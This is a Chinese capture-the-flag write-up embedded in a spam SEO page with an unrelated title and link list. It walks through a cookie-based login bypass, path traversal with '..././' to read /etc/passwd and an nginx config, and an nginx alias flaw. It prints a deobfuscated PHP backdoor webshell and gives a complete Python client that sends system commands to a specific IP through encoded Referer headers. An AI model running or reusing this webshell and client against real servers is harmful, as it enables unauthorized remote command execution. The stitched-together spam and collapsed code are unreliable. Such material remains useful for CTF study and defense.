当前位置: 首页 > news >正文

撤销网站备案表填写后网站建设的流程是什么

撤销网站备案表填写后,网站建设的流程是什么,阿里云网站续费怎么操作,这样做微信网站访问题目地址需要登录 注意到请求包里面有个 cookie isLogin0 改成 1 登录成功 目录扫描存在 robots.txt hint.php 提示 nginx 配置文件可能有问题,文件路径如下: /etc/nginx/sites-enabled/site.conf hack.php 是空白 回到刚才登录后的界面 点击管…

访问题目地址需要登录

注意到请求包里面有个  

cookie isLogin=0

改成 1 登录成功

目录扫描存在 robots.txt

hint.php 提示 nginx 配置文件可能有问题,文件路径如下:

/etc/nginx/sites-enabled/site.conf

 

hack.php 是空白

回到刚才登录后的界面

点击管理中心,请求的 url 看起来存在文件包含

尝试读取 /etc/passwd

试了一下没什么反应

这里过滤了 ../ ,可以采用双写绕过,而且注意是往上穿四层才到根目录:

/admin/admin.php?file=..././..././..././..././etc/passwd&ext=

我们读一下刚才那个 nginx 的配置文件

/admin/admin.php?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

格式化后看起来还是乱

我们直接扔给 gpt 整理分析有什么问题

gpt 说这个配置有问题

浏览器可以直接访问到 /images/ 目录,只需要访问 /web-img/

 

我们往上遍历一下:

/web-img../

尝试访问 root 目录,但是没有权限

在网站目录下存在 hack.php 的备份文件,我们下载

看起来像是经过混淆的后门 webshell

而且这个马还可以过河马的查杀

那就不得不掏出我们的 D 盾了

再经过 gpt 的确认,确实就是一个后门

我们输出最后的 $f 看看:

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
echo $f;
?>

拿到:

$kh="42f7";$kf="e9ac";

后面想起来了,之前有个 AWD 的训练赛里面也见过这个马

利用脚本如下,稍作调整改成了 python3 的版本,并且直接执行系统命令:

将 $kh="42f7";$kf="e9ac"; 和 url 填进去,url 即木马的地址,我们这里就是 hack.php 的位置

#!/usr/bin/env python3
# encoding: utf-8from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import redef choicePart(seq, amount):length = len(seq)if length == 0 or length < amount:print('Error Input')return Noneresult = []indexes = []count = 0while count < amount:i = randint(0, length - 1)if i not in indexes:indexes.append(i)result.append(seq[i])count += 1if count == amount:return resultdef randBytesFlow(amount):result = b''for _ in range(amount):result += bytes([randint(0, 255)])return resultdef randAlpha(amount):result = ''for _ in range(amount):result += choice(string.ascii_letters)return resultdef loopXor(text, key):result = b''lenKey = len(key)lenTxt = len(text)iTxt = 0while iTxt < lenTxt:iKey = 0while iTxt < lenTxt and iKey < lenKey:result += bytes([text[iTxt] ^ ord(key[iKey])])iTxt += 1iKey += 1return resultdef debugPrint(msg):if debugging:print(msg)# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://223.112.5.141:62739/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http': 'http://127.0.0.1:8080'}sess = requests.Session()# generate random Accept-Language
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(list(range(1, 10)), 3), reverse=True)acceptLang = [defaultLang]
for i in range(3):acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = md5((init2Char + keyh).encode()).hexdigest()[0:3]
md5tail = md5((init2Char + keyf).encode()).hexdigest()[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % init2Char)
debugPrint('md5 head: %s' % md5head)
debugPrint('md5 tail: %s' % md5tail)# Interactive php shell
cmd = input('phpshell > ').strip()
while cmd != '':if not cmd.endswith(';'):safe_cmd = cmd.replace("'", "\\'")cmd = f"system('{safe_cmd}');"# build junk data in refererquery = []for _ in range(max(indexes) + 1 + randint(0, 2)):key = randAlpha(randint(3, 6))value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode()query.append((key, value))debugPrint('Before insert payload:')debugPrint(query)debugPrint(urllib.parse.urlencode(query))# encode payloadpayload = zlib.compress(cmd.encode())payload = loopXor(payload, xorKey)payload = base64.urlsafe_b64encode(payload).decode()payload = md5head + payload# cut payload, replace into referercutIndex = randint(2, len(payload) - 3)payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece = 0for i in indexes:query[i] = (query[i][0], payloadPieces[iPiece])iPiece += 1referer = url + '?' + urllib.parse.urlencode(query)debugPrint('After insert payload, referer is:')debugPrint(query)debugPrint(referer)# send requestr = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)html = r.textdebugPrint(html)# process responsepattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))output = pattern.findall(html)if len(output) == 0:print('Error,  no backdoor response')cmd = input('phpshell > ').strip()continueoutput = output[0]debugPrint(output)output = base64.b64decode(output)output = loopXor(output, xorKey)output = zlib.decompress(output).decode()print(output)cmd = input('phpshell > ').strip()

读取 flag

拿到 flag:ctf{a57b3698-eeae-48c0-a669-bafe3213568c}

http://www.dinnco.com/news/5536.html

相关文章:

  • 西安淘宝网站建设公司全国疫情又严重了
  • 银行门户网站是什么意思长沙网站包年优化
  • 网站后台域名百度竞价返点一般多少
  • 网站建立的百度招商客服电话
  • 深圳企业网站建设公司头条新闻最新消息
  • 网站如何做滚动效果图搜索引擎优化的核心是
  • 专业优定软件网站建设可以直接进入的舆情网站
  • 临朐网站建设哪家好bt磁力猪
  • 网站开发财务费用谷歌搜索优化
  • 南京医院网站建设方案简述seo的优化流程
  • 天地做网站免费培训机构管理系统
  • app开发框架微博seo排名优化
  • 这么做网站原型图品牌营销策划
  • 温州大军建设有限公司网站网络推广需要多少费用
  • 做一的同志小说网站有哪些互联网营销师报名费
  • 暴雪战网官网如何优化
  • 如何自己创建购物网站淘宝关键词搜索
  • 做英文网站用什么源码简述什么是百度竞价排名
  • 赣州销售网站手机网站制作软件
  • 潍坊企业做网站网络优化公司排名
  • 网站开发软件平台有哪些郑州网络推广公司排名
  • 哪个做公司网站精准营销理论
  • 门窗营销型网站百度推广后台登陆首页
  • 静态网页代码大全seo兼职平台
  • 姜堰住房和城乡建设厅网站首页网站托管
  • 如何建 网站怎样推广app别人才愿意下载
  • 重庆网站制作企业交换友情链接的条件
  • vps搭建个人网站站长之家关键词挖掘
  • 扬州润扬交通建设集团网站微信营销管理软件
  • 徐州免费建站模板站外seo推广